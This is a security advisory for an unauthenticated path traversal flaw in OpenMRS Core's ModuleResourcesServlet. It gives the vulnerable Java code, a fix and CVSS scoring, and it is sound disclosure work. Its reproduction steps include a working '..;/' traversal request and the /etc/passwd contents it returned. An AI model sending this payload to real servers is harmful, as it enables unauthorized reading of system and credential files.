# Path Traversal in OpenMRS ModuleResourcesServlet Leading to Arbitrary File Read

High **ibacher** published **GHSA-jjgj-cx3q-pw4w** yesterday

**Package**

**org.openmrs.web:openmrs-web** (Maven)

**Affected versions**

<= 2.7.8, >=2.8.0 <=2.8.5

**Patched versions**

> 2.7.8 < 2.8.0, > 2.8.6

**Description**

## Affected Versions

version ≤ 2.7.8 (latest version at time of disclosure)

https://github.com/openmrs/openmrs-core

## Impact

The `/openmrs/moduleResources/{moduleid}` endpoint in OpenMRS Core is vulnerable to a path traversal attack. The `ModuleResourcesServlet` does not properly validate user-supplied path input, allowing an attacker to traverse directories and read arbitrary files from the server filesystem (e.g., `/etc/passwd`, application configuration files containing database credentials).

This endpoint serves static module resources (CSS, JS, images) and is **not protected by authentication filters**, as these resources are required for rendering the login page. Therefore, this vulnerability can be exploited by an **unauthenticated** attacker.

> **Note:** Successful exploitation requires the target deployment to run on **Apache Tomcat < 8.5.31**, where the `..;` path parameter bypass is not mitigated by the container. Deployments on Tomcat ≥ 8.5.31 / ≥ 9.0.10 are protected at the container level, though the underlying code defect remains.

## Steps to Reproduce

1. Identify a valid installed module ID on the target OpenMRS instance (e.g., `legacyui`).
2. Send the following HTTP request:

```
GET
http://localhost/openmrs/moduleResources/legacyui/..;/..;/..;/..;/..;/..;/..;/..;/..;/etc/passwd HTTP/1.1
Host: localhost
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71
Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,
image/avif, image/webp, image/apng, */*;q=0.8,
application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN, zh;q=0.9
Cookie: JSESSIONID=13FF757AEF7B238D354AD4BBC582B133
Connection: close
```

3. The server responds with HTTP 200 and the contents of `/etc/passwd`:

```
HTTP/1.1 200
Server: nginx/1.25.5
Content-Type: application/octet-stream
Content-Length: 531
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
```

## Root Cause Analysis

The vulnerability exists in `ModuleResourcesServlet.java` (`web/src/main/java/org/openmrs/module/web/ModuleResourcesServlet.java`).

The `getFile()` method constructs a filesystem path from user-controlled input without performing path boundary validation:

```
protected File getFile(HttpServletRequest request) {
    // Step 1: User-controlled path input
    String path = request.getPathInfo();

    // Step 2: Extract module from path prefix
    Module module = ModuleUtil.getModuleForPath(path);
    if (module == null) { return null; }

    // Step 3: Strip module ID prefix — no traversal check
    String relativePath = ModuleUtil.getPathForResource(module, path);

    // Step 4: Concatenate into absolute path
    String realPath = getServletContext().getRealPath("")
        + MODULE_PATH
```

```
        + module.getModuleIdAsPath()
        + "/resources"
        + relativePath;  // contains "/../../../etc/passwd"

    realPath = realPath.replace("/", File.separator);

    // Step 5: No normalize().startsWith() boundary check
    File f = new File(realPath);
    if (!f.exists()) { return null; }

    return f;  // Arbitrary file returned to client
}
```

The helper method `ModuleUtil.getPathForResource()` only strips the module ID prefix and performs no sanitization:

```
public static String getPathForResource(Module module, String path) {
    if (path.startsWith("/")) {
        path = path.substring(1);
    }
    return path.substring(module.getModuleIdAsPath().length());
    // Returns unsanitized remainder, e.g., "/../../../../../../etc/passwd"
}
```

The resulting path resolves as:

```
{webapp}/WEB-INF/view/module/legacyui/resources/../../../../../../etc/passwd
  → /etc/passwd
```

Notably, the same codebase already implements correct path traversal protection in `StartupFilter.java`:

```
// StartupFilter.java — correct protection
fullFilePath = fullFilePath.resolve(httpRequest.getPathInfo());
if (!(fullFilePath.normalize().startsWith(filePath))) {
    log.warn("Detected attempted directory traversal...");
    return;  // Request rejected
}
```

This check is absent from `ModuleResourcesServlet`.

## Remediation

Add a path boundary check after constructing `realPath` and before returning the `File` object. The fix should use `normalize()` + `startsWith()` to ensure the resolved path stays within the allowed module resources directory:

```
File f = new File(realPath);
Path allowedBase = Paths.get(getServletContext().getRealPath(""), "WEB-INF", "view", "mo
if (!f.toPath().normalize().startsWith(allowedBase.normalize())) {
    log.warn("Blocked path traversal attempt: {}", request.getPathInfo());
    return null;
}
```

This is consistent with the existing pattern used in `StartupFilter.java` and `TestInstallUtil.java` within the same project.

**Severity**

High 7.5 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | None |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | None |
| Availability | None |

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

**CVE ID**

CVE-2026-40075

**Weaknesses**

No CWEs

**Credits**

**Arron-bit** Reporter